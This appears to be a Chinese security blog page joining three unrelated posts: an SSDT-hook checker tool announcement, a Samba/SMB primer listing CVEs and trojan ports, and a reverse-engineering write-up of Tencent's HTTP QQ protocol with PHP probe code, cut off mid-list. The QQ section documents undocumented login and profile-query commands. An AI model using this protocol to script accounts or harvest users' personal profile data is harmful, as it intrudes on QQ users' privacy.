附:前面是上传到xfocus上面去的,不知道怎么,晚上又被删除了,而且没一点解释.即使做的再没技术含量,再烂,我觉得删除之前有必要通知一下作者的. 这一点我很想知道焦点的那些牛人们怎么看的.
^_^
作 者:ZwelL
工具分类:完整检查
运行平台:Windows
工具大小:5120 Bytes
文件MD5 :6903518ac7c2df9a679aa9fd818a265d
工具来源:http://www.donews.net/zwell
SSDT Checker v1.0是仿照IceSword中的SSDT功能做出来的一款检查系统服务描述表完整性的小工具。
不知道pjf的思路跟我这个是不是一样的。
本工具由tinyframe项目生成,最终大小为5K。
>> 下载 <<
如果某一个函数被更改了,就会在该函数名后加上"<-"-标志
运行效果:
=========================================================================
SSDT checker v1.0
Made By ZwelL
http://www.donews.net/zwell
zwell@sohu.com
=========================================================================
Index Original Current Function
0×0 0×8058f2de 0×8058f2de NtAcceptConnectPort
0×1 0×80578ded 0×80578ded NtAccessCheck
0×2 0×8059245b 0×8059245b NtAccessCheckAndAuditAlarm
0×3 0×80590080 0×80590080 NtAccessCheckByType
0×4 0×8059ba37 0×8059ba37 NtAccessCheckByTypeAndAuditAlarm
…………………
…………………
0xac 0×8064fea8 0×8064fea8 NtQuerySystemEnvironmentValueEx
0xad 0×805854aa 0xf888218a NtQuerySystemInformation<—
0xae 0×8059bac8 0×8059bac8 NtQuerySystemTime
…………………
…………………
Samba 簡介
Samba 是為使用 TCP/IP 作為基本傳輸協定的 Windows-based 用戶端而設的檔案和列印伺服器,事實上。它可以支援任何 SMB/CIFS-enabled
的用戶端,Samba 其中一項優點是,無須一個獨立的 Windows NT/2000/2003 伺服器,也可以將 Windows 和 Linux
電腦混在一起。Samba 現正由全球一隊約 30 人的程式員開發,最初由Andrew Tridgell 開發。
背景
很久以前,有一術語是指 DCE/RPC,表示 Distributed Computing Environment/Remote Procedure
Calls,而理論上是一個很好的注意。它最初由 Apollo/HP 為 NCA 1.0 (Network Computing Architecture)
開發,只會在 UDP 上運行。當有需要執行 TCP 時,它可以兼容 DECnet 3.0,新重設計後提交 Open Group,官方成為 DCE/RPC。Microsoft
決定不向這科技付 $20 per seat 版權,而重新自己實行 DCE/RPC 為 MSRPC。從這兒開始,概念會以 SMB (Server
Message Block 或 "what") 形式繼續,使用 NetBIOS (Network Basic Input/Output System
網絡基本輸入/輸出系統或"how") 兼容層級。您可以在幾個不同的協定上執行 SMB (即傳輸);很多不同的實行會以結果形式出現,包括 NBIPX
(NetBIOS over IPX, NwLnkNb 或 NWNBLink) 以及 NBT (NetBIOS over TCP/IP 或
NetBT)。經過幾年後,NBT 成為最普遍的執行形式,直至"Direct-Hosted TCP"的出現 – Microsoft 為完全消除
NetBIOS 的市場術語,並只在 TCP port 445 上運行 SMB。但現在,direct-hosted TCP 還未趕及。
可能 SMB 源頭最好的總結是在 1997 發表,題為 CIFS: Common
Insecurities Fail Scrutiny 的文章:
幾 megabytes 的 NT 保安檔案、隨意的 whitepapers、RFCs、CIFS 規格、Samba
的東西、一些MS knowledge-base 的文章、由二進元提取的字串及 packet dumps 已忠實地在本計劃收集資料的階段中吃力地讀完,而且仍然有很多遺漏了的部分…
那些通常是冗長乏味的,至少方法已被慷慨亂丟,有人在面前拍掌呢喃:「呀,他們在想甚麼呢?」
術語
-
SMB: "Server Message Block"的縮寫,這是Microsoft 的檔案和列印分享協定。
-
CIFS: "Common Internet File System" 的縮寫,大約 1996 年,Microsoft 顯然決定 SMB
需要包含 "Internet" 字眼,因此改為 CIFS。 -
Direct-Hosted: 只在 port 445/tcp 上提供檔案/印表機分享服務的方法,使用 DNS 取代 WINS 分析名稱。
-
IPC: "Inter-Process Communication" 的縮寫,在特定資料與程式之間溝通的方法。
-
Marshalling: – 適合透過網絡連線或儲存在檔案中,變數資料的連載方法 (即順序)。來源資料可以透過類似的程序稱為 unmarshalling
重新建立。 -
NetBIOS: "Network Basic Input/Output System" 的縮寫,這不是一個協定;而是在現有協定中溝通的方法。這是一個標準,最初在
1983 年由 Sytek 為 IBM 開發。要將類比誇張一點,它可以幫助您與電腦的 BIOS 比較 — 它控制最輸入/輸出硬件最重要的功能
— 而 NetBIOS 則透過網絡控制輸入/輸出流量的功能。同樣,這是有點誇張,但它應該有助範例轉移。重要的是要知道 NetBIOS 是一個輸輸標準,而不是協定。可惜即使是技術非凡的人,想也不想也會傾向將
NetBIOS 和 NetBEUI混亂,這會引致沒有終結的 (而且毫無疑問的) 混淆。 -
NetBEUI: "NetBIOS Extended User Interface" 的縮寫,與 NetBIOS 不同,NetBEUI
是一個協定,而不是一種標準。而且它不能路由,因此路由器上一端的流量會無法與另一端溝通。了解 NetBEUI對解譯 SMB 來說並不重要,但它有助指出它與
NetBIOS 是不一樣的,並在每一方面都有改善。NetBEUI 最初由 Microsoft 指為 "NBF" 或 "The Windows
NT NetBEUI Frame protocol driver",近來似乎不常聽見。 -
NBT: "NetBIOS over TCP" 的縮寫,亦稱為 "NetBT",允許在 TCP/IP 上繼續使用 NetBIOS 流量,結果
,NetBIOS 名稱就加進了 IP 位址,而 NetBIOS 名稱種類理論上相等於 TCP/IP ports。這就是檔案和列印分享在 Windows
95/98/ME 完成的方法,傳統上它們依賴三個 port:透過 UDP port 137 的 NetBIOS Name Service
(nbname)、透過 UDP port 138 的 NetBIOS Datagram Service (nbdatagram)及透過 TCP
port 139 的 NetBIOS Session Service (nbsession)。所有名稱解析都是透過 WINS, NetBIOS
廣播和 DNS 做到, NetBIOS over TCP 在 RFC 1001 (概念和方法) 及 RFC 1002 (詳細規格)有詳細說明。 -
W2K: Windows 2000 Professional 或 Server 的縮寫
-
W3K: Windows 2003 Server 的縮寫
如果您打算尋求協助,請確定已訂閱 Samba Mailing List (可在 http://www.samba.org 找到)。您亦可選擇只在http://groups.google.com
搜尋 mailing.unix.samba 。
相關計劃
現時,有兩個計劃直接與 Samba 有關:為 Linux 而設的 SMBFS 和 CIFS 網絡用戶端檔案系統,兩者都可在 Linux 核心本身找到。
-
SMBFS (Server Message Block File System 伺服器訊息區塊檔案系統) 允許您掛載 SMB 分享
( Microsoft Windows 及 OS/2 Lan Manager 用來在網絡上分享檔案和印表機的協定),並如其他 Unix 目錄般存取。如果您只想掛載檔案系統而不想成為
SMBFS 伺服器,這是很有用的。 -
CIFS (Common Internet File System 一般互聯網檔案系統) 是 SMB 的後繼者,正積極開發下一版本的
Linux 核心。這個模組的目的是要提供進階的檔案系統功能,包括支援 dfs (結構性的名稱空間)、保護每個使用者登入的通道 、安全分發快取 (oplock)、可選封包簽署、Unicode
和其他國際化的改進,及可選的Winbind (nsswitch) 整合。
同樣,這些是用戶端檔案系統的實行,與為 SMB/CIFS 用戶端作為一個檔案和列印伺服器沒有關係。
SMB 方法
SMB 代表 Server Message Block,是分享檔案、印表機、序列埠和電腦之間的溝通提取如 named pipes 和 mail
slots 的一般協定。Microsoft 落實自己 SMB協定的形式,在所有 Windows 版本提供檔案和列印分享。
傳統上,SMB 使用以下服務:
| 協定 | 埠 | 服務 | 描述 |
|---|---|---|---|
| tcp/udp | 135 | RPC Endpoint Mapper (loc-srv) DCE Endpoint Resolution (epmap) NSC Local Location Broker (loc-srv) Location Service (loc-srv) |
Remote Procedure Call (RPC) 服務一般由分佈式應用程式如 SQL server 和 Exchange server 使用,RPC 服務動態地分派 TCP 和 UDP 埠。RPC Endpoint Mapper 服務提供 RPC 服務及它們獲分派的埠之間的對應。因此當用戶端要求利用 RPC 存取服務時,它必須先要求從 RPC Endpoint Mapper 的埠對應,然後直接與服務溝通。 |
| udp | 137 | NetBIOS Name Service (netbios-ns) | 將 NetBIOS 名稱翻譯為 IP 位址,就像 DNS 一樣,這服務有幾個缺點:在 Samba 2.2.0a 之前的 smb.conf 設定檔案中的目錄經過在 %m macro,允許遠端攻擊者透過 NETBIOS名稱中的 . 覆寫特定的檔案,用作日誌檔案的名稱 (CVE-2001-1162);NetBIOS Name Server (NBNS) 協定不會執行認證,允許遠端攻擊者透過傳送哄騙的 Name Conflict 或 Name Release 資料報,引致拒絕服務,這就是 "NetBIOS Name Server Protocol Spoofing" 弱點 (CVE-2000-0673);在 Samba NETBIOS 名稱服務 daemon (CVE-1999-0810)的拒絕服務;在 WINS 的拒絕服務,有變了形的資料往埠 137 (CVE-1999-0288),有幾種 trojan virus 也使用這埠 (tcp/udp 兩者都是),包括 Chode, Qaz 和 Msinit。 |
| udp | 138 | NetBIOS Datagram Service (netbios-dgm) |
trojan virus Chode 亦使用這埠 (只是 tcp)。 |
| tcp | 139 | NetBIOS Session Service (netbios-ssn) |
檔案和列印資料傳輸,這個服務有幾個缺點,大部分是就 Windows 而言 (不是 Samba),有幾種 trojan virus 也使用這埠,包括 Chode, GodMessageworm, Msinit, Netlog, Network, Qaz, Sadmind 和 SMBRelay。 |
| tcp | 445 | Direct Hosted Service (microsoft-ds) Win2k+ Server Message Block (microsoft-ds) |
W2K/WinXP/Win2003 檔案及列印資料分享的新方法,這服務還有幾個 Denial-of-Service 的缺點,大部分就 Windows 而言(不是 Samba)。 |
當登入的使用者嘗試連接遠端的電腦網絡分享,例如 \\server\myshare,Windows 用戶端會在向使用者取得任何使用者名稱或密碼前,自動傳送登入使用者的登入資料至
SMB 伺服器,在這步驟,如果認證失敗,Windows 會彈出一個視窗,詢問使用者名稱和密碼。
一般來說,SMB 對話以下列次序建立:
-
"TCP Connection" – 建立 3-way handshake (連線) 至 port 139/tcp 或 445/tcp。
-
"NetBIOS Session Request" – 使用下列 "Calling Names":本機的 NetBIOS name
加上第十六個字元 16th character 0×00:伺服器的 NetBIOS name 加上第十六個字元 0×20 -
"SMB Negotiate Protocol" – 決定使用的協定方言,會是以下其中一項:PC Network Program 1.0
(Core) – 只是分享層級保安模式;Microsoft Networks 1.03 (Core Plus) – 只是分享層級保安模式;Lanman1.0
(LAN Manager 1.0) – 使用 Challenge/Response Authentication;Lanman2.1 (LAN
Manager 2.1) – 使用 Challenge/Response Authentication; NT LM 0.12 (NT LM 0.12)
- 使用 Challenge/Response Authentication -
SMB 對話啟動,密碼會按以下其中一種方法加密 (或不加密): Null (沒有加密);Cleartext (沒有加密); LM
和 NTLM;NTLM;NTLMv2。接著密碼會弄亂並傳送給要求對話的電腦 (諷刺地,這步驟會在要求密碼前做)。 -
SMB Tree Connect:連接分享的名稱 (例如: \\servername\share);連接至一種服務類型 (例如: IPC$
named pipe)
深入檢查這過程的一個好方法,就是嘗試在 http://www.securityfriday.com/ToolDownload/SWB/swb_doc.html
上 SecurityFriday 的 SWB 程式。它讓您可以逐步經過建立 SMB/CIFS 對話的過程。
額外資源
The Samba Developer’s Guide- CIFS: Common
Insecurities Fail Scrutiny by "Hobbit" - Doing
the Samba on Windows by Financial Review - Implementing CIFS by Christopher
R. Hertel - Just What Is
SMB? by Richard Sharpe - Opening
Windows Everywhere by Mike Warfield - SMB HOWTO
by David Wood - SMB/CIFS
by The Root by "ledin" - The
Story of Samba by Christopher R. Hertel - Understanding
the Network Neighborhood by Christopher R. Hertel - Using
Samba as a PDC by Andrew Bartlett
鳴謝
- 本文頂部的圖示由"Sluggite Bob" 建立,"Sluggy Freelance" 是 © Pete Abrams。
- Rob Muggridge 有關加密密碼的事項及 Win95
- Chuck Theobald 提供 xinetd 的設定檔案
- Petr Spatka 提供一些 PDC 設定檔案結合的意念
- NULL Passwords 的資料從 http://www.softheap.com/security/session-access.html
收集回來
結語
"基本上的錯誤是,當人們做到了以後就不會有任何感覺。Microsoft 做了很多令使用者界面好看,但內部卻是一團糟,即使是為 Microsoft
編程有經驗的人,也不知道它內部怎麼運作。更甚的是,沒有人敢改變它,沒有人敢除蟲,因為它就是一團糟,解決一個錯誤,就是打散依賴該錯誤的百多個程式。而
Microsoft 又對除蟲沒有興趣 — 他們對賺錢有興趣,他們沒有人會為 Windows 95 作為作業系統而感到自豪。
Microsoft 內的人知道這是個很差的作業系統,但他們仍然繼續明顯地運作,因為要推出下一個版本,集合所有新特色,將系統賣得更多。
問題是過了一段日子,當您有這種方向,因為沒有人了解它,沒有人真正除蟲
(除非真是很明顯的錯),最終結果真的一團糟。您不能相信它,因為在某種情況下,它自然會重新開機或在工作中突然關機。一般它會運作良好,但偶然會完全不
知原因而死機,沒有人知道原因。不是Microsoft、不是有經驗的使用者、當然也不會是全無頭緒的使用者,可能會坐著顫抖的想:「我做錯了甚麼?」事
實上他們沒有做錯甚麼。
這就是真正煩擾我的事情。"
– Linus Torvalds 在 1998年 9月 BOOT Magazine 的訪問。
作者:Hackfan
日期:2005.8.21凌晨
联系:QQ:106814 Email:hackfan@vip.sina.com
1、研究说明
Tencent在tqq.tencent.com的8000有一个使用HTTP的QQ接口,通过这个接口,可以进行一些基本的操作,如:登
陆、登出、改变登陆状态(上线、忙碌、离线、隐身)、添加删除好友、查看好友信息、发送验证信息(接受被加为好友、申请加对方为好友、拒绝被加为好友)、
收发用户消息、系统信息。
目前我研究的是1.1版本的HTTP QQ协议,研究是微程在的成果上进行的,不敢说有什么超越,只不过更为详细和准确。
2、接口说明:
接口位置:tqq.tencent.com:8000
通信协议:HTTP
数据传输方法:POST
HTTP请求格式:
POST HTTP/1.1
Host: tqq.tencent.com:8000
Content-Type: text/plain; charset=UTF-8
Content-length: 长度
Connection: close
数据
其中长度为 数据 的长度,数据的格式:
VER=1.1&CMD=命令&SEQ=标记&UIN=QQ号&….
以上4个参数是每个请求都必有的。其中,VER表示协议的版本,目前为1.1,据说1.2已经出来了,这个乱写的话,服务器返回NULL;
CMD为操作的指令,有Login、List、Query_Stat、GetInfo、AddToList、Ack_AddToList、
DelFromList、Change_Stat、GetMsgEx、CLTMSG、Logout;SEQ为当前请求的标记,防止重复发送,可以用当前时
间,也可以用随机数;UIN是当前执行操作的QQ号。不过不同的CMD还需要不同的参数,下面我就公布我的研究成果。
3、研究方法:
我对目前网上的资料不够满意,就自己写程序,发送多条相同CMD不同参数的请求,根据服务器的返回,来做判断。感兴趣的朋友可以参考一下,此处可以跳过。
下面我公布我探测的代码(PHP):
[code:1:1bbf2dec18]
<?
$uin = "QQ号";
$pwd = md5("QQ密码");
//登陆测试
$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=1&LC=9326B87B234E7235";
//注意:登陆测试不能同时进行,必须等到服务器认为QQ断开了,才能够测试,不然结果不可信
/*******
$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=0&LC=9326B87B234E7235";
$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=1&LC=9326B87B234E7235";
$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=2&LC=9326B87B234E7235";
$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=3&LC=9326B87B234E7235";
$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M6=1&LC=9326B87B234E7235";
$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M6=1&LC=1223423545756679";
*******/
//得到好友列表
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin;
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=0";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=".rand(1,10);
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=0";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160&UN=0";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160&UN=0";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);
$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=106814";
//得到在线列表
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin;
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=0";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=".rand(1,10);
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=0";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160&UN=0";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160&UN=0";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);
$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=106814";
//查看好友信息
$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=0&UN=106814";
$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=1&UN=106814";
$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=2&UN=106814";
$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=3&UN=106814";
$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=4&UN=106814";
$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=5&UN=106814";
//增加好友
$poststring[] = "VER=1.1&CMD=AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814";
//发送验证
$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=0&RS=TEST";
$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=1&RS=TEST";
$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=2&RS=TEST";
$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=3&RS=TEST";
$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=4&RS=TEST";
$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=5&RS=TEST";
//删除好友
$poststring[] = "VER=1.1&CMD=DelFromList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814";
//改变状态
for($i=0;$i<=60;$i=$i+5)
{
$poststring[] = "VER=1.1&CMD=Change_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&ST=".$i;
}
//获得消息
$poststring[] = "VER=1.1&CMD=GetMsgEx&SEQ=".rand(1000,9000)."&UIN=".$uin."";
//发送消息
$poststring[] = "VER=1.1&CMD=CLTMSG&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&MG=TEST";
//登出
$poststring[] = "VER=1.1&CMD=Logout&SEQ=".rand(1000,9000)."&UIN=".$uin."";
$file = fopen("p.txt","w");
foreach($poststring as $k=>$v)
{
ss_timing_start();
$fp = fsockopen('tqq.tencent.com', '8000', $errno, $errstr, $timeout = 10);
if(!$fp){
//error tell us
$content = $k.chr(13).chr(10)."ERROR:$errstr ($errno)";
}else{
//send the server request
fputs($fp, "POST HTTP/1.1\r\n");
// fputs($fp, "Host: $host\r\n");
// fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($v)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $v . "\r\n\r\n");
//loop through the response from the server
$res = "";
while(!feof($fp)) {
$res .= fgets($fp, 4096);
}
//close fp - we are done with it
fclose($fp);
$content = $v.chr(13).chr(10).$res;
}
ss_timing_stop();
$content .= chr(13).chr(10)."Time: ".ss_timing_current().chr(13).chr(10)."--------------------------------------".chr(13).chr(10);
fputs($file,$content);
}
fclose($file);
?>
<?
function ss_timing_start ($name = "default") {
global $ss_timing_start_times;
$ss_timing_start_times[$name] = explode(' ', microtime());
}
function ss_timing_stop ($name = "default") {
global $ss_timing_stop_times;
$ss_timing_stop_times[$name] = explode(' ', microtime());
}
function ss_timing_current ($name = "default") {
global $ss_timing_start_times, $ss_timing_stop_times;
if (!isset($ss_timing_start_times[$name])) {
return 0;
}
if (!isset($ss_timing_stop_times[$name])) {
$stop_time = explode(' ', microtime());
}
else {
$stop_time = $ss_timing_stop_times[$name];
}
$current = $stop_time[1]-$ss_timing_start_times[$name][1];
$current += $stop_time[0]-$ss_timing_start_times[$name][0];
return $current;
}
?>
[/code:1:1bbf2dec18]
4、研究成果:
(1).登陆
说明:在你做任何其他操作以前,你必须登陆。只有在登陆以后,你的其他指令才有可能被正确执行(返回RES=0),不然服务器会返回RES=
20,不过有个例外,就是logout。当你成功登陆以后,服务器就会根据你的IP*和参数中的UIN来验证身份。一台电脑可以同时登陆多个QQ,互不影
响,就是因为有参数UIN。
*至于我能够确定服务器是通过IP来验证的,是因为服务器不可能通过我的请求获得其他信息了^_^
提交数据:VER=1.1&CMD=Login&SEQ=标记&UIN=QQ号&PS=QQ密码&M5=1&LC=9326B87B234E7235
说明:QQ密码是通过md5加密的字符串,在PHP中可以直接用md5()进行加密;
M5这个参数的作用还不清楚,但最好为1。
LC这个参数有点神秘,不能有丝毫改动,不然服务器就没有响应(没有响应就是返回NULL)。
返回:VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=0&RS=0&HI=60&LI=300(成功)
VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=0&RS=1&RA=密码错误(密码错误)
VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=5(QQ号非法,如100)
NULL(UIN为字符、PS为空、LC错误)
(2).得到好友列表
提交数据:VER=1.1&CMD=List&SEQ=标记&UIN=QQ号&TN=160&UN=0
说明:TN、UN还不清楚具体表示什么,但是TN的值会影响返回的结果,有没有UN对结果没有影响
返回:VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=0&FN=9(当TN=0或没有TN参数时,FN表示好友数)
VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=0&FN=
1&SN=9&UN=3814526,...,(当TN存在且非0时,FN=1,SN表示好友数,UN为好友列表,用","分割)
VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、TN、UN为字符)
(3).得到在线好友列表
提交数据:VER=1.1&CMD=Query_Stat&SEQ=标记&UIN=QQ号&TN=50&UN=0
说明:TN、UN还不清楚具体表示什么,但是TN的值会影响返回的结果,有没有UN对结果没有影响
返回:VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=
0&FC=0,&FN=1&SN=1&ST=10,&UN=106814,&NK=Hackfan
好,(当TN存在且非0时,FN=1,SN表示在线好友数,FC、ST、UN、NK的值用','分割,分别表示头像、状态、号码、昵称)
VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、TN、UN为字符)
说明:FC为QQ头像的的ID,如的头像ID为270,那么其头使用的图片为91.bmp,其算法为ID/3+1;
ST为QQ用户的状态,10为上线,20为离线(或隐身),30为忙碌;
特别说明:当参数TN=0或不存在时,服务器返回:
VER=1.1&CMD=Query_Stat&SEQ=标记&UIN=QQ号
HTTP/1.1 200 OK
Server: tencent imserver/1.0.0
Content-Type: text/plain; charset=UTF-8
Content-Length: 56
VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=0&FN=1
HTTP/1.1 200 OK
Server: tencent imserver/1.0.0
Content-Type: text/plain; charset=UTF-8
Content-Length: 77
VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=0&FC=&FN=1&SN=0&ST=&UN=&NK=
返回了2次,第一次的结果中,FN为在线好友数,第二次返回的数据基本没用。
(4).查看好友信息
提交数据:VER=1.1&CMD=GetInfo&SEQ=标记&UIN=QQ号&LV=查询类型&UN=被查询QQ号码
说明:LV=0,1为精简查询,LV=2为普通查询,LV>=3为详细查询
返回:VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&LV=0&UN=106814&NK=Hackfan 好(精简查询)
VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&AD
=地址&AG=19&EM=hackfan@qq.com&FC=0&HP=http:
//blog.hackfan.net&JB=学生
&LV=2&PC=邮编&PH=电话&PR=
The guy is updating to .NET Frameword......&PV=江苏&RN=胡吉阳&SC=
毕业院校&SX=0&UN=106814&NK=Hackfan
好(普通查询)
VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&AD
=地址&AG=19&BT=2&CO=6&CT=苏州&CV=%01&CY=中华人民共和国
&EM=hackfan@qq.com&FC=0&HP=http://blog.hackfan.net&ID
=-&JB=学生&LV=3&MO=136********&MT=0&MV=&PC=邮编&
PH=电话&PR=The guy is
updating to .NET Frameword......&PV=江苏&RN=胡吉阳&SC=毕业院校&SH=3&SX=0&UN=106814&NK=Hackfan 好(详细查询)
VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、LV、UN为字符)
说明:AD为联系地址
AG为年龄
BT为血型
CO为星座
CT为城市
CV为未知*
CY为国家
EM为Email
FC为头像
HP为网站
ID为未知
JB为职业
LV为查询代码(就是发送的LV)
MO为移动电话
MT为未知
MV为未知
PC为邮编
PH为联系电话
PR为简介
PV为省
RN为真实姓名
SC为毕业院校
SH为生肖
SX为性别
UN为QQ号
NK为昵称
血型:0 => '',
1 => 'A型',
2 => 'B型',
3 => 'O型',
4 => 'AB型',
5 => '其他'
星座:0 => '',
1 => '水瓶座',
2 => '双鱼座',
3 => '牡羊座',
4 => '金牛座',
5 => '双子座',
6 => '巨蟹座',
7 => '狮子座',
8 => '处女座',
9 => '天秤座',
10 => '天蝎座',
11 => '射手座',
12 => '摩羯座'
生肖:0 => '',
1 => '鼠',
2 => '牛',
3 => '虎',
4 => '兔',
5 => '龙',
6 => '蛇',
7 => '马',
8 => '羊',
9 => '猴',
10 => '鸡',
11 => '狗',
12 => '猪'
性别:0 => '男',
1 => '女'
(5).增加好友
提交数据:VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&UN=对方QQ号
返回:VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=0&UN=对方QQ号(允许被加为好友,此时他已经是你的好友)
VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=1&UN=对方QQ号(需要验证)
VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=2&UN=对方QQ号(决绝被加为好友)
VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、UN为字符)
(5).发送验证
说明:1、如果你加对方为好友,你需要发送验证
2、对方加你为好友,发送了验证,你要通过或者拒绝
这2种情况需要发送验证消息
提交数据:VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&UN=对方QQ号&CD=验证类型&RS=理由
说明:CD为0表示“通过验证”,CD为1表示“拒决加为对方为好友”,CD为2表示“为请求对方加为好友”。
